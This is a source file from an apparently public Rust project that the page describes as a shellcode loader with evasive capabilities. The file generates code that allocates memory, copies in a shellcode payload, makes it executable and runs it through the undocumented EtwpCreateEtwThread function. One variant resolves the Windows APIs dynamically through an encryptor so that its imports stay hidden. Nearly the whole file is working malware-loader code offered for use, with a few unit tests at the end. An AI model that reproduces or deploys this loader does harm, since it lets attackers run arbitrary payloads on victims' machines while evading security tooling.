myph-v2~ rust shellcode loader with evasive capabilities |
| git clone https://github.com/djnnvx/myph-v2.git |
| log | files | refs | archive | README |
etwp.rs (6893B)
1 pub fn etwp_import() -> String { 2 r#" 3 use std::ptr; 4 "# 5 .to_string() 6 } 7 8 pub fn etwp_const() -> String { 9 format!( 10 r#" 11 {} 12 13 const INFINITE: u32 = 0xFFFFFFFF; 14 15 #[link(name = "kernel32")] 16 extern "system" {{ 17 fn WaitForSingleObject( 18 handle: *mut std::ffi::c_void, 19 milliseconds: u32, 20 ) -> u32; 21 }} 22 23 #[link(name = "ntdll")] 24 extern "system" {{ 25 fn RtlCopyMemory( 26 destination: *mut std::ffi::c_void, 27 source: *const std::ffi::c_void, 28 length: usize, 29 ); 30 31 fn EtwpCreateEtwThread( 32 start_address: *const std::ffi::c_void, 33 parameter: usize, 34 ) -> *mut std::ffi::c_void; 35 }} 36 "#, 37 super::common::COMMON_MEMORY_CONSTANTS 38 ) 39 } 40 41 pub fn etwp_init() -> String { 42 String::new() 43 } 44 45 pub fn etwp_process() -> String { 46 r#" 47 unsafe { 48 let base_addr = VirtualAlloc( 49 ptr::null_mut(), 50 shellcode.len(), 51 MEM_COMMIT | MEM_RESERVE, 52 PAGE_READWRITE, 53 ); 54 55 if base_addr.is_null() { 56 panic!("failed"); 57 } 58 59 RtlCopyMemory( 60 base_addr, 61 shellcode.as_ptr() as *const std::ffi::c_void, 62 shellcode.len(), 63 ); 64 65 let mut old_protect: u32 = PAGE_READWRITE; 66 let result = VirtualProtect( 67 base_addr as *mut std::ffi::c_void, 68 shellcode.len(), 69 PAGE_EXECUTE_READ, 70 &mut old_protect, 71 ); 72 73 if result == 0 { 74 panic!("failed"); 75 } 76 77 let thread_id = EtwpCreateEtwThread(base_addr, 0); 78 if thread_id.is_null() { 79 panic!("failed"); 80 } 81 82 WaitForSingleObject(thread_id, INFINITE); 83 } 84 "# 85 .to_string() 86 } 87 88 fn generate_etwp_template(function_name: &str) -> String { 89 super::common::TechniqueTemplateBuilder::new() 90 .with_import(etwp_import()) 91 .with_const(etwp_const()) 92 .with_init(etwp_init()) 93 .with_process(etwp_process()) 94 .build(function_name) 95 } 96 97 pub fn generate_etwp_code(function_name: &str) -> String { 98 generate_etwp_template(function_name) 99 } 100 101 fn etwp_process_with_dynamic_resolver( 102 encryptor: &dyn crate::encryption::Encryptor, 103 ) -> Result<String, String> { 104 use super::dynamic_common::*; 105 106 let virtual_alloc = virtual_alloc_resolver(encryptor)?; 107 let rtl_copy_memory = rtl_copy_memory_resolver(encryptor)?; 108 let virtual_protect = virtual_protect_resolver(encryptor)?; 109 let etwp_create_etw_thread = etwp_create_etw_thread_resolver(encryptor)?; 110 let wait_for_single_object = wait_for_single_object_resolver(encryptor)?; 111 112 Ok(format!( 113 r#" 114 unsafe {{ 115 {virtual_alloc_resolver} 116 {virtual_alloc_cast} 117 118 let base_addr = virtual_alloc( 119 ptr::null(), 120 shellcode.len(), 121 MEM_COMMIT | MEM_RESERVE, 122 PAGE_READWRITE, 123 ); 124 125 if base_addr.is_null() {{ 126 panic!("failed"); 127 }} 128 129 {rtl_copy_memory_resolver} 130 {rtl_copy_memory_cast} 131 132 rtl_copy_memory( 133 base_addr, 134 shellcode.as_ptr() as *const std::ffi::c_void, 135 shellcode.len(), 136 ); 137 138 {virtual_protect_resolver} 139 {virtual_protect_cast} 140 141 let mut old_protect: u32 = PAGE_READWRITE; 142 let result = virtual_protect( 143 base_addr, 144 shellcode.len(), 145 PAGE_EXECUTE_READ, 146 &mut old_protect, 147 ); 148 149 if result == 0 {{ 150 panic!("failed"); 151 }} 152 153 {etwp_create_etw_thread_resolver} 154 {etwp_create_etw_thread_cast} 155 156 let thread_id = etwp_create_etw_thread(base_addr, 0); 157 if thread_id.is_null() {{ 158 panic!("failed"); 159 }} 160 161 {wait_for_single_object_resolver} 162 {wait_for_single_object_cast} 163 164 wait_for_single_object(thread_id, INFINITE); 165 }} 166 "#, 167 virtual_alloc_resolver = virtual_alloc.resolver_code, 168 virtual_alloc_cast = virtual_alloc.cast_code, 169 rtl_copy_memory_resolver = rtl_copy_memory.resolver_code, 170 rtl_copy_memory_cast = rtl_copy_memory.cast_code, 171 virtual_protect_resolver = virtual_protect.resolver_code, 172 virtual_protect_cast = virtual_protect.cast_code, 173 etwp_create_etw_thread_resolver = etwp_create_etw_thread.resolver_code, 174 etwp_create_etw_thread_cast = etwp_create_etw_thread.cast_code, 175 wait_for_single_object_resolver = wait_for_single_object.resolver_code, 176 wait_for_single_object_cast = wait_for_single_object.cast_code, 177 )) 178 } 179 180 fn generate_etwp_template_with_dynamic_resolver( 181 function_name: &str, 182 _encryption_type: &str, 183 encryptor: &dyn crate::encryption::Encryptor, 184 ) -> Result<String, String> { 185 let process_code = etwp_process_with_dynamic_resolver(encryptor)?; 186 187 Ok(super::common::TechniqueTemplateBuilder::new() 188 .with_import(etwp_import()) 189 .with_const(etwp_const()) 190 .with_init(etwp_init()) 191 .with_process(process_code) 192 .build(function_name)) 193 } 194 195 pub fn generate_etwp_code_with_dynamic_resolver( 196 function_name: &str, 197 encryption_type: &str, 198 encryptor: &dyn crate::encryption::Encryptor, 199 ) -> String { 200 generate_etwp_template_with_dynamic_resolver(function_name, encryption_type, encryptor) 201 .unwrap_or_else(|err| { 202 panic!( 203 "Failed to generate Etwp code with dynamic resolver (encryption: {}): {}", 204 encryption_type, err 205 ) 206 }) 207 } 208 209 pub struct EtwpGenerator; 210 211 impl super::trait_generator::TechniqueGenerator for EtwpGenerator { 212 fn generate_code(&self, _process: &str, function_name: &str) -> String { 213 generate_etwp_code(function_name) 214 } 215 216 fn generate_code_with_dynamic_resolver( 217 &self, 218 _process: &str, 219 function_name: &str, 220 encryption_type: &str, 221 encryptor: &dyn crate::encryption::Encryptor, 222 ) -> String { 223 generate_etwp_code_with_dynamic_resolver(function_name, encryption_type, encryptor) 224 } 225 226 fn requires_process(&self) -> bool { 227 false 228 } 229 230 fn name(&self) -> &'static str { 231 "Etwp" 232 } 233 } 234 235 #[cfg(test)] 236 mod tests { 237 use super::*; 238 239 #[test] 240 fn test_generate_etwp_template_contains_all_parts() { 241 let template = generate_etwp_template("MyFunction"); 242 assert!(template.contains("use std::ptr")); 243 assert!(template.contains("MEM_COMMIT")); 244 assert!(template.contains("EtwpCreateEtwThread")); 245 assert!(template.contains("fn MyFunction")); 246 assert!(template.contains("VirtualAlloc")); 247 } 248 249 #[test] 250 fn test_generate_etwp_code() { 251 let code = generate_etwp_code("MyRandomFunc"); 252 assert!(code.contains("fn MyRandomFunc")); 253 assert!(code.contains("EtwpCreateEtwThread")); 254 assert!(code.contains("WaitForSingleObject")); 255 } 256 }